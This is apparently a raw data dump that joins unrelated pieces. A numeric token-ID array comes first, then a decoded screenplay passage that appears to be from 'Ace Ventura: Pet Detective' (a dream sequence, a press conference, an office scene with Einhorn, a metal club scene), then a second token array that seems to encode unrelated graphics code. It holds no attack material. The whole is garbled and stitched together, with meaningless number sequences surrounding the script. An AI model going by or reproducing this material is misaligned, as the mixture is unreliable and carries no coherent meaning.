34120, 27721, 310, 21939, 272, 562, 7367, 281, 643, 23247, 347, 703, 9851, 323, 617, 3906, 15, 444, 1042, 41, 35064, 4825, 33364, 13, 755, 479, 253, 37563, 327, 20361, 1434, 2, 42535, 3377, 13, 5007, 562, 247, 29054, 15, 1621, 581, 12088, 281, 253, 2315, 21478, 26191, 15, 444, 1042, 41, 35064, 8, 52, 21890, 8875, 428, 34523, 1042, 54, 27832, 37457, 444, 1042, 41, 35064, 16141, 19675, 1898, 11853, 755, 479, 247, 5500, 273, 8574, 2, 29376, 313, 12101, 4300, 1209, 434, 4318, 10, 43935, 327, 346, 6402, 2300, 42, 657, 8875, 995, 13198, 777, 3592, 3471, 1507, 253, 12145, 8574, 2, 37667, 310, 275, 617, 3906, 13, 42084, 5101, 33179, 12922, 13, 29048, 896, 15, 34120, 27721, 16771, 281, 617, 3055, 15336, 15, 444, 1042, 41, 35064, 23780, 5650, 13, 672, 309, 755, 562, 273, 436, 15336, 13, 368, 1805, 320, 4783, 15, 29376, 1680, 352, 1180, 581, 390, 1180, 767, 32, 34120, 27721, 7819, 285, 1289, 4420, 387, 37667, 15, 29376, 309, 816, 971, 281, 871, 849, 1199, 673, 309, 452, 15, 34120, 27721, 4566, 281, 253, 16338, 285, 9513, 17392, 617, 3564, 15, 29376, 5531, 13, 407, 253, 1039, 13, 309, 2427, 6386, 285, 14042, 326, 27246, 4742, 13, 18724, 1258, 640, 16, 20411, 1434, 16, 9709, 2610, 2181, 15, 444, 1042, 41, 35064, 313, 48, 15, 52, 2698, 313, 18256, 4263, 779, 10, 5531, 10902, 32, 29376, 10902, 13, 2455, 4089, 273, 247, 3438, 399, 41178, 8386, 254, 4907, 10734, 401, 22064, 32, 380, 1824, 6294, 84, 745, 15, 34120, 27721, 4620, 1475, 253, 7145, 15, 444, 1042, 41, 35064, 1219, 918, 13, 23780, 5650, 15, 10338, 352, 3158, 15, 29376, 309, 1119, 247, 7520, 8805, 387, 253, 5004, 273, 18724, 1258, 640, 434, 11100, 15, 733, 434, 432, 247, 399, 41178, 686, 3507, 329, 6739, 11218, 5818, 15, 733, 651, 452, 644, 247, 6053, 19466, 5818, 13, 533, 10734, 401, 22064, 9829, 253, 1943, 8386, 15, 2071, 1443, 253, 2644, 2181, 327, 2398, 2610, 15, 844, 1472, 5015, 46197, 13, 1448, 316, 1593, 49697, 15, 309, 3047, 253, 5599, 434, 2316, 21478, 2434, 3847, 13, 604, 368, 1472, 32766, 34300, 418, 7720, 15, 444, 1042, 41, 35064, 1893, 849, 1057, 19528, 20361, 1434, 4944, 275, 32, 29376, 2752, 5476, 310, 401, 22064, 369, 256, 2369, 18225, 1475, 15, 20361, 1434, 7478, 779, 15, 8072, 273, 2926, 15, 1284, 323, 18724, 1258, 640, 21478, 597, 3534, 779, 401, 22064, 434, 1180, 13, 285, 10256, 779, 849, 281, 8386, 247, 1673, 4736, 15, 401, 22064, 2335, 352, 11697, 15, 34120, 27721, 1618, 561, 342, 1270, 1600, 15, 444, 1042, 41, 35064, 1893, 835, 310, 401, 22064, 13, 1024, 32, 29376, 754, 9377, 562, 273, 247, 5148, 4675, 15, 10348, 247, 39107, 21398, 265, 15, 754, 434, 644, 7219, 521, 25442, 323, 1107, 15, 21050, 272, 323, 253, 3962, 673, 281, 755, 896, 387, 253, 399, 35706, 15, 380, 673, 672, 352, 651, 8513, 731, 253, 954, 15, 6053, 19466, 673, 2, 3083, 13, 309, 1353, 11870, 273, 1146, 987, 2, 34120, 27721, 16771, 275, 2914, 285, 17954, 327, 253, 5024, 273, 253, 8597, 15, 1500, 434, 9106, 39451, 617, 1471, 28062, 15, 444, 1042, 41, 35064, 4731, 37230, 15, 1422, 1849, 2218, 690, 4030, 25660, 789, 13, 37667, 15, 29376, 329, 12155, 13, 812, 368, 2312, 275, 619, 1175, 2472, 15, 309, 1869, 309, 3735, 368, 1067, 479, 37667, 15, 34120, 27721, 4850, 1524, 2810, 15, 444, 1042, 41, 35064, 8948, 309, 369, 3430, 670, 368, 15, 8948, 368, 403, 625, 685, 816, 247, 7590, 33702, 15, 36722, 322, 7273, 42917, 12715, 11188, 5656, 52, 329, 6908, 43, 1372, 13, 308, 35427, 3077, 39597, 1539, 2637, 13, 41631, 353, 2185, 3886, 1703, 611, 16808, 8160, 29376, 15, 44844, 403, 19336, 745, 253, 8597, 347, 597, 9644, 896, 15, 29376, 5402, 5654, 434, 28063, 715, 619, 13290, 15, 3010, 35945, 13, 253, 37667, 14545, 15, 444, 1042, 41, 35064, 313, 23350, 3551, 327, 10, 1737, 434, 3430, 13, 37667, 32, 29430, 479, 281, 1239, 368, 634, 3570, 32, 29376, 8948, 1996, 15, 444, 1042, 41, 35064, 1737, 310, 352, 32, 2064, 45861, 1652, 23331, 13, 38994, 17453, 32, 29376, 313, 1545, 3134, 10, 1621, 15, 1422, 816, 1053, 626, 513, 2712, 323, 479, 15, 754, 4541, 4575, 84, 521, 260, 8601, 348, 13, 281, 26037, 253, 299, 15831, 15, 34120, 27721, 10687, 84, 342, 247, 49145, 8580, 15, 444, 1042, 41, 35064, 309, 1833, 320, 1060, 604, 368, 2455, 971, 247, 1524, 3416, 15, 1707, 434, 247, 9479, 611, 47, 9466, 387, 253, 3369, 15, 444, 1042, 41, 35064, 1737, 310, 352, 32, 42535, 3377, 13279, 253, 3369, 15, 13145, 54, 2350, 48, 16942, 8261, 275, 1060, 32, 754, 472, 690, 764, 5011, 15, 444, 1042, 41, 35064, 25913, 13, 28150, 15, 13145, 54, 2350, 48, 1422, 971, 479, 281, 4710, 779, 562, 32, 444, 1042, 41, 35064, 6049, 1053, 626, 368, 4710, 4834, 562, 15, 13145, 54, 2350, 48, 16141, 19675, 4374, 13, 6429, 8, 312, 15, 329, 30402, 12615, 257, 42535, 3377, 39852, 15, 37667, 9851, 323, 253, 3369, 15, 444, 1042, 41, 35064, 37667, 13, 309, 971, 368, 281, 3553, 3253, 281, 441, 15, 29376, 2615, 626, 513, 326, 13, 22389, 15, 309, 369, 14565, 281, 1089, 18724, 1258, 640, 15, 444, 1042, 41, 35064, 2091, 359, 1089, 2398, 2610, 13, 844, 1833, 7257, 18724, 1258, 640, 15, 29376, 2091, 309, 1089, 18724, 1258, 640, 13, 309, 1833, 7257, 2398, 2610, 15, 754, 39852, 15, 26191, 15, 12248, 34, 16636, 2277, 428, 427, 9981, 329, 2120, 327, 7635, 1225, 5148, 3961, 310, 33852, 272, 327, 3924, 15, 29219, 26416, 32251, 715, 253, 15039, 2027, 8483, 15, 380, 1072, 19941, 483, 310, 1335, 7635, 3834, 521, 1481, 32251, 281, 253, 3440, 15, 29376, 313, 1200, 20309, 10, 29902, 281, 923, 368, 969, 2, 380, 19941, 483, 816, 11359, 7635, 3834, 15, 37667, 13977, 9002, 17764, 7487, 253, 3961, 285, 27022, 779, 15, 25069, 3519, 1267, 9466, 659, 15, 7980, 13, 849, 434, 352, 564, 249, 46146, 29376, 313, 76, 17270, 10, 2064, 434, 5293, 273, 634, 15229, 2136, 15, 25069, 3519, 1267, 9466, 36026, 626, 352, 32, 29376, 1680, 352, 32, 25069, 3519, 1267, 9466, 33571, 747, 327, 326, 277, 41178, 32, 29376, 21979, 521, 5406, 327, 690, 246, 9821, 34208, 13, 533, 2717, 594, 2080, 15, 329, 16057, 16636, 15286, 327, 3924, 15, 754, 7835, 751, 247, 22630, 23585, 2120, 273, 2624, 77, 1771, 15, 322, 2637, 947, 1780, 287, 1368, 47911, 12155, 73, 2, 2752, 2676, 287, 80, 1368, 72, 47626, 2, 443, 2771, 80, 462, 12155, 73, 2, 25069, 3519, 1267, 9466, 1893, 13, 752, 476, 309, 513, 323, 368, 3063, 32, 29376, 309, 878, 8692, 327, 247, 5842, 892, 3938, 90, 4907, 10734, 401, 22064, 15, 25069, 3519, 1267, 9466, 26070, 13, 37667, 13, 309, 476, 626, 1361, 368, 987, 1024, 15, 309, 17500, 3698, 436, 3961, 2, 1583, 403, 253, 10739, 2, 29376, 6272, 597, 32, 25069, 3519, 1267, 9466, 329, 445, 626, 597, 32, 29376, 1219, 918, 840, 15, 5037, 626, 7664, 670, 352, 15, 309, 1599, 277, 35706, 6403, 626, 4555, 271, 31281, 3417, 15, 733, 434, 417, 751, 253, 2644, 2739, 5931, 434, 6501, 320, 5876, 604, 581, 4122, 17497, 11783, 267, 9778, 247, 3468, 285, 16592, 2471, 2, 17358, 13, 604, 253, 3961, 310, 11216, 2217, 13, 368, 1912, 626, 1014, 4089, 697, 8483, 4552, 41750, 35025, 4672, 37667, 1057, 521, 1682, 9958, 277, 41178, 13214, 15, 9002, 17764, 310, 642, 3356, 18262, 253, 3961, 15, 330, 3329, 5935, 27, 26191, 15, 19253, 17260, 428, 427, 9981, 9002, 17764, 310, 387, 521, 4382, 15, 37667, 4453, 689, 521, 9215, 15, 401, 22064, 434, 8404, 9044, 1491, 4620, 327, 253, 3601, 15, 25069, 3519, 1267, 9466, 831, 5599, 434, 1390, 2361, 6021, 369, 4397, 13, 13563, 15, 29376, 6089, 840, 15, 844, 871, 344, 434, 16088, 7635, 338, 555, 15, 25069, 3519, 1267, 9466, 1680, 344, 32, 29376, 36026, 626, 344, 32, 9002, 17764, 3510, 275, 625, 1491, 15, 401, 22064, 434, 7500, 56 ]	okes his head out again. They shoot again. Ace swerves off the road into� EXT. PARK - DAY Ace's car smashes through benches and tables. Then it flips over a few times and lands on its wheels with a horrid SMASH. Ace is still strapped into the drivers seat, unconscious. Ace's prized WHITE PIGEON lands on the car door right beside him. Ace cracks his eyes and sees the bird. Then, with a sudden quick lunge he successfully traps it in his hands, and forgets all about Marino. ACE I did it! I did it! I caught the white pigeon! I caught the white pigeon! Ace jumps out of his car and starts skipping around the park with the pigeon held high over his head. He looks insane. ACE (CONT'D) (singing) I caught the white pigeon, I caught the white pigeon, I caught the white� Ace slows down and begins to look around warily. There are now an unusual number of birds perched on the telephone wires around the park and on the monkey bars, and on the swings. The sky grows darker. He slowly turns and tries to get back to the car. All the birds take flight. Ace sets the white pigeon free and starts to run, but it's too late. The birds are on him. Pecking, and gouging, and ripping his flesh. Now we see ten birds flying away with a leg. Five birds flying away with an arm. Twenty others are trying to take Ace's left arm off, and half his face is missing� ACE AAAAAAAAAAHHHHHHHHHHHH!!! CUT TO: EXT. PARK - DAY Ace is back in his wrecked car with his arm hanging out the window. A small boy is pulling it. BOY Hey mister. Hey mister. Ace come to suddenly, and looks at the boy with a crazed expression. BOY (CONT'D) That was a really neat crash, mister. Do it again! Ace sighs with relief. EXT. MIAMI - DAY Various headlines hit the news stands: "MARINO KIDNAPPED" "STAR QB MISSING" "DAN WHERE ARE YOU?" THE GLOBE HEADLINE: "MARINO ABDUCTED BY ALIEN FRANCHISE!" On the cover, Marino stands with several Space Aliens in football gear. EXT. POLICE STATION - LATER THAT DAY A chaotic press conference. Zillions of REPORTERS shout all kinds of questions at Einhorn. REPORTER Lieutenant, have there been any ransom demands? EINHORN There's been no communication with the kidnappers at this time. REPORTER #2 What's going to happen to the Super Bowl? Will it be postponed? EINHORN As of now, the game is going on as scheduled. REPORTER #3 Why wasn't the public told about Snowflake's kidnapping? EINHORN Secrecy was essential. We didn't want any public interference. REPORTER Are the crimes related? And what about Roger Podacter's murder? EINHORN I'm sorry. I can't comment any further. Now if you'll excuse me. Einhorn pushes her way through the crowd of reporters. INT. POLICE STATION - MOMENTS LATER Einhorn is barking out orders to other cops as she heads for her office. EINHORN Emilio, get me the autopsy on Podacter! Aguado, send out a memo. No one talks to the press� INT. EINHORN'S OFFICE - CONTINUOUS ACTION EINHORN �And somebody get me a cup of coffee! ACE (TV announcer's voice) Tonight on "MIAMI VICE", Crockett geets the boss coffee! Ace is in her office, popping sunflower seeds, kicking back. Einhorn walks to her private bathroom. EINHORN Ventura, when I get out of this bathroom, you better be gone. ACE Is it number one or number two? Einhorn turns and glares at Ace. ACE I just want to know how much time I have. Einhorn goes to the sink and begins washing her hands. ACE Oh, by the way, I went ahead and solved that pesky, Snowflake/Podacter/Marino thing. EINHORN (O.S.) (humoring him) Oh yeah? ACE yeah, ever hear of a former Dolphin kicker named Ray Finkle? The water shuts off. Einhorn appears around the corner. EINHORN Alright, Ventura. Make it quick. ACE I found a rare stone at the bottom of Snowflake's tank. It's from a Dolphin '82 AFC Championship ring. It would have been a Super Bowl ring, but Ray Finkle missed the big kick. Blames the whole thing on Marino. We're talking paranoid, delusional psychosis. I saw the guy's room� Cozy, if you're Hannibal Lector. EINHORN So how does Roger Podacter fit in? ACE My guess is Finkle was snooping around. Podacter recognized him. End of story. As for Snowflake� they gave him Finkle's number, and taught him how to kick a field goal. Finkle took it personally. Einhorn listens with great interest. EINHORN So where is Finkle, now? ACE He broke out of a metal hospital. Did a Claude Raines. He's been planning his revenge for years. Waiting for the perfect time to get back at the Dolphins. The time when it would hurt them the most. Super Bowl time! Man, I'm tired of being right! Einhorn walks in front and sits on the edge of the desk. She's totally softened her demeanor. EINHORN Congratulations. You've done some fine detective work, Ace. ACE Ahh, could you talk in my good ear. I thought I heard you call me Ace. Einhorn gets real close. EINHORN Maybe I was wrong about you. Maybe you are more than just a pet dick. SHE SUDDENLY PLANTS A MAJOR, TONSIL CLEANING, OPEN MOUTHED KISS ON ACE. Objects are knocked off the desk as they lean back. ACE Your gun's digging into my hip. More kissing, the Ace stops. EINHORN (still coming on) What's wrong, Ace? Want me to read you your rights? ACE Maybe later. EINHORN What is it? That bony little bitch, Melissa Robinson? ACE (defensive) No. You just don't do anything for me. He quickly adjusts his crotch, to conceal the erection. Einhorn withdraws with a coy smile. EINHORN I'll be here if you ever want a real woman. There's a sharp KNOCK at the door. EINHORN What is it? Aguado opens the door. AGUADO Everything okay in here? Heard some commotion. EINHORN Fine, Sergeant. AGUADO You want me to throw him out? EINHORN Why don't you throw yourself out. AGUADO �Yes, ma'am. A crestfallen Aguado exits. Ace heads for the door. EINHORN Ace, I want you to leave everything to us. ACE Can't do that, Lieutenant. I was hired to find Snowflake. EINHORN When we find Marino, We'll deliver Snowflake. ACE When I find Snowflake, I'll deliver Marino. He exits. INT. TEA ROOM - NIGHT A full on thrash metal band is cranking on stage. Kids leap wildly into the moshing pit. The same Burnout is still thrashing his head wildly to the music. ACE (shouting) Nice to see you again! The Burnout just keeps thrashing. Ace spots Woodstock watching the band and joins him. WOODSTOCK St. Francis, how's it goin'? ACE (kidding) That's none of your damn business. WOODSTOCK Isn't it? ACE Is it? WOODSTOCK Anything new on that dolphin? ACE Got his picture on some tuna cans, but nothing so far. A singer ROARS on stage. He sounds like a garbage disposal full of cutlery. SINGER Arroohhghhh! Myrrrooohghhhh! Geroooghhh! WOODSTOCK So, what can I do for you today? ACE I need info on a football flunky named Ray Finkle. WOODSTOCK Sorry, Ace, I can't help you right now. I gotta watch this band! They are the shit! ACE Are they? WOODSTOCK Aren't they? ACE Alright then. Don't worry about it. I mean dolphins aren't exactly an endangered species. It's not like the whole food chain's gonna be affected if one highly intelligent mammal dies a slow and painful death! Hell, if the band is loud enough, you won't even hear its pitiful whimpering!! Ace does his best suffering dolphin impression. Woodstock is no longer enjoying the band. CUT TO: INT. BASEMENT - NIGHT Woodstock is at his computer. Ace looks over his shoulder. Finkle's Social Security information appears on the screen. WOODSTOCK This guy's last reported income was September, 1982. ACE Well then. We know he's incredibly thrifty. WOODSTOCK Is he? ACE Isn't he? Woodstock types in more information. Finkle's TRW
[ 2237, 1320, 64, 3409, 15, 6342, 31090, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1178, 64, 6342, 64, 1664, 9, 55, 76, 34552, 31090, 2914, 64, 1664, 10, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 6342, 31090, 426, 2914, 64, 1664, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 498, 1301, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 2019, 1301, 27265, 426, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 498, 1301, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 2019, 1301, 27265, 426, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 12722, 13218, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 83, 2237, 6081, 21831, 472, 27265, 426, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 12722, 13218, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 83, 2237, 6081, 21831, 472, 27265, 426, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 39043, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 27265, 426, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 39043, 9, 9599, 3638, 64, 19012, 13, 187, 50254, 50254, 50266, 9599, 23722, 13, 187, 50254, 50254, 50266, 9599, 14679, 64, 19012, 10, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 29080, 17070, 426, 3638, 64, 19012, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 2019, 1301, 426, 23722, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 10612, 1714, 17070, 426, 14679, 64, 19012, 28, 187, 50274, 94, 187, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 39043, 1082, 551, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 29080, 17070, 426, 470, 15, 17, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 2019, 1301, 426, 470, 15, 17, 28, 187, 50270, 83, 2237, 1320, 64, 3409, 15, 16719, 35, 6358, 10612, 1714, 17070, 426, 470, 15, 17, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 2566, 1082, 551, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 26028, 11594, 1450, 14760, 64, 16719, 64, 2566, 9, 10975, 3630, 10, 551, 187, 50270, 338, 313, 6343, 10, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 94, 2010, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 94, 535, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 26501, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1178, 64, 16719, 64, 2566, 64, 23813, 9, 55, 76, 33925, 12535, 4254, 10, 551, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 33925, 12535, 426, 4254, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 2566, 9, 10975, 3630, 10, 551, 187, 50270, 338, 313, 6343, 10, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 94, 2010, 551, 187, 50266, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 94, 535, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16719, 64, 2566, 1082, 551, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 10639, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 16719, 64, 296, 21177, 64, 3409, 15, 16719, 5089, 27265, 50276, 30, 657, 44, 64, 33814, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1178, 64, 33380, 9, 55, 76, 19352, 6878, 22532, 31736, 3530, 10, 551, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 83, 2237, 1320, 49644, 426, 3530, 28, 187, 50274, 94, 535, 50274, 55, 76, 19352, 6878, 22532, 31736, 39071, 47469, 1450, 26028, 11594, 1450, 788, 64, 33380, 1082, 1030, 551, 187, 50270, 2309, 1554, 261, 4636, 64, 3409, 15, 83, 2237, 1320, 49644, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 16848, 64, 1200, 6748, 9, 9599, 5927, 10, 551, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 16848, 2809, 6748, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 1222, 19352, 2809, 6748, 426, 5927, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 16848, 64, 1200, 6748, 1082, 551, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 16848, 2809, 6748, 27265, 426, 657, 44, 64, 33814, 28, 187, 50270, 9961, 261, 4636, 64, 3409, 15, 1222, 19352, 2809, 6748, 426, 337, 15, 17, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 25902, 64, 1559, 1946, 64, 1542, 9, 8400, 1450, 8531, 1237, 64, 85, 247, 10, 551, 187, 50270, 338, 313, 38729, 942, 15, 3281, 1082, 11049, 247, 10, 551, 187, 50266, 38729, 942, 15, 35621, 9, 66, 559, 337, 558, 187, 50270, 94, 535, 50270, 38729, 942, 60, 66, 1570, 1559, 423, 27265, 426, 657, 44, 64, 33814, 28, 535, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 47537, 6878, 426, 37969, 15, 3281, 1874, 187, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 81, 6601, 607, 942, 50274, 30, 37969, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 1637, 64, 1559, 1946, 64, 1542, 9, 8400, 1450, 8531, 1237, 64, 85, 247, 10, 551, 187, 50270, 338, 313, 38729, 942, 15, 3281, 1082, 11049, 247, 10, 551, 187, 50266, 38729, 942, 15, 35621, 9, 66, 559, 337, 558, 187, 50270, 94, 535, 50270, 38729, 942, 60, 66, 1570, 4897, 10639, 17031, 426, 50276, 55, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 51, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 40, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 35, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 34, 64, 14609, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1559, 423, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 31694, 64, 1556, 37660, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 64, 17258, 3016, 64, 31694, 64, 1556, 37660, 28, 187, 50270, 38729, 942, 60, 66, 1570, 4897, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 59, 34675, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1637, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 535, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 47537, 6878, 426, 37969, 15, 3281, 1874, 187, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 81, 6601, 607, 942, 50274, 30, 37969, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 14760, 64, 1911, 1483, 64, 1559, 1946, 64, 1542, 9, 8400, 1450, 8531, 1237, 64, 85, 247, 10, 551, 187, 50270, 338, 313, 38729, 942, 15, 3281, 1082, 11049, 247, 10, 551, 187, 50266, 38729, 942, 15, 35621, 9, 66, 559, 337, 558, 187, 50270, 94, 535, 50270, 38729, 942, 60, 66, 1570, 4897, 10639, 17031, 426, 50276, 55, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 51, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 40, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 35, 64, 14609, 1040, 187, 50254, 245, 50265, 209, 657, 44, 64, 38505, 64, 27550, 1139, 3489, 64, 34, 64, 14609, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1559, 423, 27265, 426, 657, 44, 64, 26501, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 6573, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 64, 17258, 3016, 64, 31694, 64, 1556, 37660, 28, 187, 50270, 38729, 942, 60, 66, 1570, 4897, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 187, 50270, 38729, 942, 60, 66, 1570, 7614, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 11147, 28, 187, 50270, 38729, 942, 60, 66, 1570, 19335, 29858, 5622, 423, 17070, 426, 657, 44, 64, 5993, 8112, 64, 5377, 39321, 64, 59, 34675, 28, 187, 50270, 38729, 942, 60, 66, 1570, 1637, 5622, 423, 12535, 426, 657, 44, 64, 5993, 8112, 64, 2795, 64, 19873, 28, 535, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 47537, 6878, 426, 37969, 15, 3281, 1874, 187, 50270, 4897, 64, 1559, 1946, 64, 3409, 15, 81, 6601, 607, 942, 50274, 30, 37969, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 26028, 11594, 1450, 1911, 64, 19681, 64, 3409, 9, 55, 76, 31535, 5443, 7870, 64, 3409, 10, 551, 187, 50270, 19681, 64, 21196, 15, 11340, 64, 2135, 9, 19681, 64, 3409, 558, 187, 50270, 2520, 1168, 19681, 64, 3409, 15, 19681, 5443, 6878, 426, 7870, 64, 21196, 15, 3281, 1874, 187, 50270, 2520, 1168, 19681, 64, 3409, 15, 81, 31535, 27121, 50274, 30, 7870, 64, 21196, 15, 2203, 1874, 187, 50274, 94, 535, 50274, 3474, 39071, 47469, 1450, 26028, 11594, 7, 39071, 47469, 1450, 788, 64, 20188, 64, 20619, 1082, 1030, 551, 187, 50270, 2309, 4229, 64, 20619, 28, 187, 50274, 94, 535, 50274, 8400, 1450, 8531, 1237, 64, 85, 39071, 47469, 1450, 788, 64, 2377, 5858, 1082, 1030, 551, 187, 50270, 2309, 749, 5858, 64, 4663, 28, 187, 50274, 94, 535, 50274, 26912, 12161, 7, 39071, 47469, 1450, 788, 64, 12574, 64, 5858, 1082, 1030, 551, 187, 50270, 2309, 475, 12574, 64, 5858, 28, 187, 50274, 94, 535, 50274, 3474, 6268, 1450, 11000, 29, 55, 76, 47469, 38031, 30635, 9395, 6074, 12399, 187, 50274, 37430, 47469, 1450, 788, 64, 1200, 6475, 64, 296, 1131, 1082, 1030, 551, 187, 50270, 2309, 49944, 64, 296, 1131, 28, 187, 50274, 94, 535, 50274, 4353, 39071, 47469, 1450, 1178, 64, 1200, 6475, 64, 296, 1131, 9, 8400, 1450, 11000, 29, 38031, 13570, 12399, 439, 16208, 10, 551, 187, 50270, 19586, 1320, 64, 3474, 1103, 15, 8250, 1874, 187, 50270, 1200, 6475, 64, 296, 1131, 15, 8250, 1874, 187, 50270, 1200, 6475, 64, 296, 1131, 15, 373, 4003, 9, 1200, 16208, 15, 3281, 6020, 187, 50270, 19586, 1320, 64, 3474, 1103, 15, 373, 4003, 9, 1200, 16208, 15, 3281, 6020, 535, 50270, 1542, 313, 15149, 7, 49944, 